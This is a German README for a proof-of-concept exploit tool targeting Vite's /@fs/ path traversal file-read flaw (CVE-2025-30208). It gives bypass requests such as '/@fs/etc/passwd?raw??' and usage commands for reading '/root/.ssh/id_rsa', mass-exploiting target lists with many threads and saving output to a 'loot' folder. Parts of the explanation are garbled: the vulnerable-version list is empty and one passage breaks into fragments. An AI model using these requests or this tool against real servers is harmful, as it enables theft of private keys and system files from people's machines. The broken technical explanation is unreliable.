
Ein PoC des Exploit-Skripts für die Schwachstelle 'Arbitrary File Read' von Vite /@fs/ Path Traversal in der transformMiddleware (CVE-2025-30208).
Ein PoC des Exploit-Skripts für die Arbitrary File Read-Sicherheitslücke von Vite /@fs/ Path Traversal in transformMiddleware (CVE-2025-30208). Eine detaillierte Analyse finden Sie in diesem Beitrag.
Verwundbar in Versionen vor:
Vite ist ein beliebtes Open-Source-Projekt, das von Github und seiner offiziellen Website bezogen werden kann. Es verwendet ein spezielles Präfix, @fs, um direkten Zugriff auf absolute Dateipfade im Entwicklungsmodus zu ermöglichen:
GET /@fs/<absolute/path/to/file>
Aber um Missbrauch zu verhindern, beschränkt Vite, was über @fs zugegriffen werden kann, mit einer Konfiguration wie:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
Theoretisch sollten Dateien außerhalb des erlaubten Verzeichnisses (wie /etc/passwd) blockiert werden – selbst wenn jemand Tricks wie ../../../ verwendet.
Jedoch liegt der Fehler darin, wie Vite URLs parst und überprüft (über die Middleware/Funktion transformMiddleware). Die Middleware/Funktion verwendet ensureServingAccess(url, ...), um zu prüfen, ob eine Dateianfrage über /@fs/ erlaubt war.
Allerdings könnte ein Angreifer eine Anfrage mit nachgestellten Query-Trennzeichen in der URL erstellen, wie:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?raw&url
GET /@fs/etc/passwd?import&raw??
Diese Formen würden die regulären Ausdrucksfilter (rawRE, urlRE) und Sicherheitsprüfungen umgehen, da die fehlerhafte Abfragezeichenfolge immer noch mit der Routenlogik übereinstimmt. Was passiert:
/@fs/../../../etc/passwdraw?? (absichtlich fehlerhaft)? zu entfernen oder zu normalisieren, und dies geschieht bevor überprüft wird, ob der Dateipfad erlaubt ist.Das bedeutet:
server.fs.allow./etc/passwd zurück, falls vorhanden.python3 poc.py [OPTIONS]
| Flag / Option | Beschreibung |
|---|---|
-u, --url | Einzelne Ziel-URL (z.B. example.com:5173) |
-f, --file | Datei mit Liste von Zielen (eine URL pro Zeile) |
-p, --path | Dateisystempfad zum Lesen (Standard: /etc/passwd) |
-b, --bypass | Abfragezeichenfolge zur Umgehung der Routenvalidierung (Standard: ?raw??) |
--proxy | Proxy-URL (z.B. http://127.0.0.1:8080) |
-o, --output | Ausgabeverzeichnis zum Speichern der Exploit-Ergebnisse (Standard: results) |
-t, --threads | Anzahl der Threads für den Batch-Modus (Standard: 10) |
-h, --help | Hilfemeldung anzeigen und beenden |
Einzelziel-Exploit:
python3 cve-2025-30208.py -u example.com:5173
Einzelziel mit benutzerdefiniertem LFI-Pfad, um die gewünschte Datei auszulesen:
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
Batch-Exploit mit mehreren Zielen:
python3 cve-2025-30208.py -f targets.txt
Benutzerdefinierte Umgehungsabfrage:
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
Verwendung eines Proxys (z.B. Burp Suite):
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
Benutzerdefiniertes Ausgabeverzeichnis:
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
Erhöhung der Thread-Anzahl im Batch-Modus:
python3 cve-2025-30208.py -f targets.txt -t 50